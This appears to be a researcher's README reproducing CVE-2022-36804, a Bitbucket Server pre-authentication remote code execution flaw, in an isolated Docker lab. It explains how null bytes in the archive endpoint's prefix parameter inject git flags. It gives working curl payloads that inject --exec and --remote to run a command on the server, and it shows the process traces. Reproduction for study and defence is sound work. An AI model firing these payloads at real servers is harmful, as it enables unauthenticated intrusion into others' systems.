
Investigating CVE-2022-36804
Recreating a remote code execution vulnerability where Bitbucket fails to sanitize user input, which allows attackers to inject Git flags and execute code remotely.
This repository documents how I reproduced the vulnerability CVE-2022-36804, an issue with pre-authentication argument injection in Bitbucket Server. The goal was to demonstrate the underlying security issue as described in Assetnote's public writeup. All testing was performed in an isolated local environment.
CVE-2022-36804 is caused by Bitbucket passing user input directly into a git archive subprocess without sanitizing null bytes. Because Bitbucket uses NuProcess to spawn git, null bytes are preserved and cause argument splitting. This allows an attacker to inject extra git flags into the command. In vulnerable versions (such as 7.21.0 as used in this setup) this leads to remote code execution without authentication.
This pre-authentication remote code execution vulnerability occurs in the /archive endpoint which is responsible for generating repository archives with the function of git archive. Bitbucket passes the prefix parameter directly into the git subprocess but without sanitizing null bytes. Since git is implemented in C, a null byte terminates the string early. Everything after the null byte is therefore interpreted as a separate command line argument. This allows the attacker to inject arbitrary git flags into the command.
This works because Bitbucket uses NuProcess which preserves null bytes instead of stripping them. As a result Git receives the raw input exactly as it is provided by the user. Since git treats null bytes as string terminators the prefix value is split into multiple arguments when passed to the git subprocess. This allows to smuggle additional git flags after the null byte. When combined with flags such as --exec and --remote this argument injection leads directly to remote code exection in vulnerable versions of the Bitbucket Server.
TEST/demo)To start the environment:
docker compose up -d
Verify version:
cat /opt/atlassian/bitbucket/VERSION
The key to this CVE is showing that a null byte in the prefix parameter causes Bitbucket to pass multiple arguments to git archive.
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
Leave pspy running.
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
This tests if the null byte causes argument splitting.
In pspy Bitbucket generates:
/usr/bin/git archive --format=zip --prefix=test canary/ --
Here test and canary show up as separate arguments instead of one. The %00 split the input and Bitbucket is forced to pass them as independent arguments to git.
The image below shows pspy running inside the Bitbucket Docker container catching /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). What was sent as one value - test%00canary - is passed as two separate arguments. The null byte split the input which sneaks an extra argument into the git command.
By injecting --exec=touch /tmp/pwned and --remote=file:///... via null bytes the server executes an arbitrary command. Even though git exits with code 128, the command runs before git gives the error and /tmp/pwned is created inside the container.
Payload:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
The image below shows pspy catching the full execution chain - /usr/bin/git archive running with --exec and --remote arguments (PID=74412), spawning /bin/sh touch /tmp/pwned (PID=74413)

With docker exec -it bitbucket ls -la /tmp/pwned it was possible to verify the file was created.
This is shown in the image below.

Johan - Stockholm, Sweden